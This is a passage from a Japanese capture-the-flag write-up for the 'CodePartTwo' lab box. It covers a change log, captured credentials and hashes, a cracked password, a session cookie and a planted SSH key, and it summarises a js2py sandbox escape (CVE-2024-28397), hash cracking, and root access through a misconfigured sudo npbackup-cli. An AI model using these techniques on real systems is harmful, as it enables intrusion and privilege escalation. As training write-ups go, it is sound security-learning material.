- 復旧方針: 今回専用に生成した鍵なら両ファイルを削除する。
- 検証結果: 未確認。
- 変更内容: Box 専用の
/tmp/npbackup.conf- 変更内容: ホームの設定をコピーし、
pathsに/root/を追加して sudo バックアップに使った。 - 元状態: このパスの事前存在は記録なし。
- 復旧方針:
rm -f /tmp/npbackup.conf。 - 検証結果: 未確認。
- 変更内容: ホームの設定をコピーし、
- npbackup snapshot
52a4bb12- 変更内容:
sudo npbackup-cli -c /tmp/npbackup.conf -bにより/home/app/appと/rootを含むスナップショットを追加した。既存の35a4dac3はその前からあった。 - 元状態: latest は
35a4dac3(/home/app/appのみ、root@codetwo、2025-04-06)。 - 復旧方針:
sudo npbackup-cli -c /home/marco/npbackup.conf --forget 52a4bb12を試し、--lsで latest が元の内容に戻るか見る。実行記録なし。 - 検証結果: 未確認。
- 変更内容:
- 攻撃側 SSH
known_hosts- 変更内容:
codeparttwo.htbの ED25519 指紋SHA256:KGKFyaW9Pm7DDxZe/A8oi/0hkygmBMA8Y33zxkEjcD4を追加した。 - 元状態: このホスト名のエントリは記録なし。
- 復旧方針: 該当エントリを削除する。
- 検証結果: 未確認。
- 変更内容:
Credentials and Artifacts
Section titled “Credentials and Artifacts”- Web
test/test- 入手方法: 自分で
POST /registerした。 - 所属: アプリの
userテーブルid=3。 - 最初の使用:
POST /loginとGET /dashboard。 - 有効化したアクセス: セッション Cookie 付きの
POST /run_code。ハッシュは098f6bcd4621d373cade4e832627b4f6(MD5(test))。
- 入手方法: 自分で
- Web
pwn/pwn- 入手方法: Metasploit の
authenticateがPOST /registerした。 - 所属:
userテーブルid=4。 - 最初の使用: 同関数内の
POST /login(keep_cookies)。 - 有効化したアクセス: CVE-2024-28397 を
/run_codeへ送るためのセッション。ハッシュはe4a25f7b052442a076b02ee9a1818d2e。
- 入手方法: Metasploit の
- Flask セッション Cookie
- 入手方法:
testログイン後の HTTP 通信で観測。 - 観測値:
session=eyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6InRlc3QifQ.arZjzQ.MO-1muc0LGyhn7BxLxpHYuCU4Co。 - 最初の使用:
GET /dashboardとPOST /run_code。
- 入手方法:
- OS
marco/sweetangelbabylove- 入手経路:
/home/app/app/instance/users.dbの649c9d65a206a75f5abe509fe128bce5を MD5 と判断し、hashcat -m 0とrockyou.txtによる辞書攻撃を再現手順として示した。解読実行ログはなく、平文の有効性はsu成功で確認した。 - 所属:
uid=1000のログインユーザー。 - 最初の使用:
appシェルからのsu - marco。 - 有効化したアクセス:
/home/marco/user.txtの読取、NOPASSWDnpbackup-cli、SSH。
- 入手経路:
- Web
appのハッシュa97588c0e2fa3a024876339e27aeb42e- 入手方法: 同じ
users.db。 - 使用: この経路では未使用。
- 入手方法: 同じ
- user flag
- Path:
/home/marco/user.txt - Value:
[REDACTED] - 入手方法:
marcoでcat user.txt。権限は-rw-r----- 1 root marco。
- Path:
- root flag
- Path:
/root/root.txt - Value:
[REDACTED] - 入手方法:
sudo npbackup-cli -c /tmp/npbackup.conf --dump /root/root.txt。
- Path:
- 公開鍵(攻撃側 ed25519)
- 作成手順:
ssh-keygen -t ed25519 -f ./codeparttwo(鍵生成コマンドの実行ログなし)。 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEdSeKuXX3olLmqRsgE1mfONoj1IFIPcgHgYbbBcdNvC- 変更内容:
/home/marco/.ssh/authorized_keysへ書き込み。 - 最初の使用:
ssh -i ./codeparttwo marco@codeparttwo.htb。
- 作成手順:
Required Knowledge
Section titled “Required Knowledge”- Firefox の手動 HTTP プロキシ設定と Freja TUI でのリクエスト・応答の確認。
- 公開されたアプリ ZIP から
requirements.txtのピン留めバージョンを読み、既知 CVE と突き合わせること。 - js2py 0.74 のサンドボックス脱出(CVE-2024-28397)。空オブジェクトの
__getattribute__からsubprocess.Popenへ辿る。 - 認証付き JSON API へ既存 Metasploit モジュールを移植するとき、
HttpClientのkeep_cookies、登録とログインのタイミング、AutoCheckの成功判定をエンドポイントの応答に合わせること。 - SQLite の資格情報ダンプ、32 桁ハッシュの識別、
hashcat -m 0。自分で入れたパスワードのハッシュがアルゴリズムの手がかりになること。 - Web アプリと OS アカウントで同じパスワードが使われていないか、取得した平文で確認すること。
sudo -lで引数が固定されていない NOPASSWD バイナリは、設定ファイルやサブコマンドまで攻撃面になること。- root で動くバックアップツールに書込可能な設定を渡せると、バックアップ対象を追加して
--dumpで読めること。終了状態がerrorsでもスナップショットが残る場合がある。
Final Thought
Section titled “Final Thought”この Box では、配布物の js2py==0.74 と認証後の POST /run_code が、最初に調べるべき入口を示していた。一方、同じ ZIP に app.py と users.db も含まれていたが、記録ではその段階で内容を確認していない。配布物を取得した時点で、依存関係だけでなく同梱ファイルの用途も確かめるべきだった。既存モジュールを移植したときの check は失敗表示になったが、原因は HTTP 200 JSON を成功と判定しない実装だった。判定メッセージだけで止めず、実際に開いたセッションとそのユーザーを確認する必要がある。
次の手がかりは sudo -l の引数制限がない npbackup-cli だった。元設定のリポジトリ情報を保って paths に /root/ を追加し、保存後に --ls で確かめてから --dump した。最小サイズのエラーとスナップショット保存が同時に記録された点も重要である。今後の Box でも、sudo 許可コマンドは設定ファイル、出力機能、実際に残った状態まで確認したい。

